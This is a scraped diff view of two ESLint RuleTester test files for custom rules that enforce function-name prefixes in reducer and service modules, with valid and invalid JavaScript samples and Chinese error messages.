RuleTester = require("eslint").RuleTester;
|
15
|
+
|
16
|
+
|
17
|
+
//------------------------------------------------------------------------------
|
18
|
+
// Tests
|
19
|
+
//------------------------------------------------------------------------------
|
20
|
+
|
21
|
+
const ruleTester = new RuleTester(config);
|
22
|
+
ruleTester.run("reducer-name-convention", rule, {
|
23
|
+
valid: [
|
24
|
+
{
|
25
|
+
code: `
|
26
|
+
export default {
|
27
|
+
state: {},
|
28
|
+
init: () => {},
|
29
|
+
* fetchPresetsCateGoryList(payload) {
|
30
|
+
yield this.changeValue({
|
31
|
+
a: 1
|
32
|
+
})
|
33
|
+
return {
|
34
|
+
a: 12313
|
35
|
+
}
|
36
|
+
},
|
37
|
+
* aaPresetsList(payload = {}) {
|
38
|
+
|
39
|
+
},
|
40
|
+
* fetchPresetsDictList() {
|
41
|
+
|
42
|
+
}
|
43
|
+
};
|
44
|
+
`,
|
45
|
+
},
|
46
|
+
{
|
47
|
+
code: `
|
48
|
+
export default {
|
49
|
+
state: {},
|
50
|
+
init: () => {},
|
51
|
+
changeValue() {},
|
52
|
+
* fetchPresetsCateGoryList(payload) {
|
53
|
+
yield this.changeValue({
|
54
|
+
a: 1
|
55
|
+
})
|
56
|
+
return {
|
57
|
+
a: 12313
|
58
|
+
}
|
59
|
+
},
|
60
|
+
* handlePresetsList(payload = {}) {
|
61
|
+
|
62
|
+
},
|
63
|
+
* submitPresetsDictList() {
|
64
|
+
|
65
|
+
},
|
66
|
+
* updatePresetsDictList() {
|
67
|
+
|
68
|
+
},
|
69
|
+
* deletePresets() {
|
70
|
+
|
71
|
+
}
|
72
|
+
};
|
73
|
+
`,
|
74
|
+
},
|
75
|
+
// give me some code that won't trigger a warning
|
76
|
+
],
|
77
|
+
|
78
|
+
invalid: [
|
79
|
+
{
|
80
|
+
code: `
|
81
|
+
export default {
|
82
|
+
state: {},
|
83
|
+
init: () => {},
|
84
|
+
changeValue() {},
|
85
|
+
* queryPresetsDictList() {}
|
86
|
+
}
|
87
|
+
`,
|
88
|
+
errors: [{ message: "queryPresetsDictList 需要用submit|delete|update|fetch|handle|init开头命名"}],
|
89
|
+
},
|
90
|
+
],
|
91
|
+
});
|
@@ -0,0 +1,96 @@
|
|
1
|
+
/**
|
2
|
+
* @fileoverview services.js function name convention
|
3
|
+
* @author haohuan
|
4
|
+
*/
|
5
|
+
"use strict";
|
6
|
+
|
7
|
+
//------------------------------------------------------------------------------
|
8
|
+
// Requirements
|
9
|
+
//------------------------------------------------------------------------------
|
10
|
+
const config = require("../config")
|
11
|
+
const rule = require("../../../lib/rules/services-name-convention"),
|
12
|
+
RuleTester = require("eslint").RuleTester;
|
13
|
+
|
14
|
+
|
15
|
+
//------------------------------------------------------------------------------
|
16
|
+
// Tests
|
17
|
+
//------------------------------------------------------------------------------
|
18
|
+
|
19
|
+
const ruleTester = new RuleTester(config);
|
20
|
+
ruleTester.run("services-name-convention", rule, {
|
21
|
+
valid: [
|
22
|
+
// give me some code that won't trigger a warning
|
23
|
+
{
|
24
|
+
code: `
|
25
|
+
import { filterEmptyParams } from '@/utils/base';
|
26
|
+
import request from "@/utils/base/request";
|
27
|
+
|
28
|
+
export function queryPresetsCategoryPageList(params) {
|
29
|
+
return request(\`/presetsCategory/pageList\`, {
|
30
|
+
method: 'POST',
|
31
|
+
body: JSON.stringify(filterEmptyParams(params))
|
32
|
+
})
|
33
|
+
}
|
34
|
+
|
35
|
+
export function postPresetsCategory(params) {
|
36
|
+
return request(\`/presetsCategory/insert\`, {
|
37
|
+
method: 'POST',
|
38
|
+
body: JSON.stringify(filterEmptyParams(params))
|
39
|
+
})
|
40
|
+
}
|
41
|
+
|
42
|
+
export function putPresetsCategory(params) {
|
43
|
+
return request(\`/presetsCategory/update\`, {
|
44
|
+
method: 'POST',
|
45
|
+
body: JSON.stringify(filterEmptyParams(params))
|
46
|
+
})
|
47
|
+
}
|
48
|
+
`,
|
49
|
+
},
|
50
|
+
{
|
51
|
+
code: `
|
52
|
+
export function test(params) {
|
53
|
+
|
54
|
+
}
|
55
|
+
|
56
|
+
export function get(params) {
|
57
|
+
|
58
|
+
}
|
59
|
+
`,
|
60
|
+
},
|
61
|
+
],
|
62
|
+
|
63
|
+
invalid: [
|
64
|
+
{
|
65
|
+
code: `
|
66
|
+
import { filterEmptyParams } from '@/utils/base';
|
67
|
+
import request from "@/utils/base/request";
|
68
|
+
|
69
|
+
export function queryPresetsCategoryPageList(params) {
|
70
|
+
return request(\`/presetsCategory/pageList\`, {
|
71
|
+
method: 'POST',
|
72
|
+
body: JSON.stringify(filterEmptyParams(params))
|
73
|
+
})
|
74
|
+
}
|
75
|
+
|
76
|
+
export function aapostPresetsCategory(params) {
|
77
|
+
return request(\`/presetsCategory/insert\`, {
|
78
|
+
method: 'POST',
|
79
|
+
body: JSON.stringify(filterEmptyParams(params))
|
80
|
+
})
|
81
|
+
}
|
82
|
+
|
83
|
+
export function getPresetsCategory(params) {
|
84
|
+
return request(\`/presetsCategory/update\`, {
|
85
|
+
method: 'POST',
|
86
|
+
body: JSON.stringify(filterEmptyParams(params))
|
87
|
+
})
|
88
|
+
}
|
89
|
+
`,
|
90
|
+
errors: [
|
91
|
+
{ message: "aapostPresetsCategory 需要用post|remove|put|query开头命名", type: "ExportNamedDeclaration" },
|
92
|
+
{ message: "getPresetsCategory 需要用post|remove|put|query开头命名", type: "ExportNamedDeclaration" }
|
93
|
+
],
|
94
|
+
},
|
95
|
+
],
|
96
|
+
});
|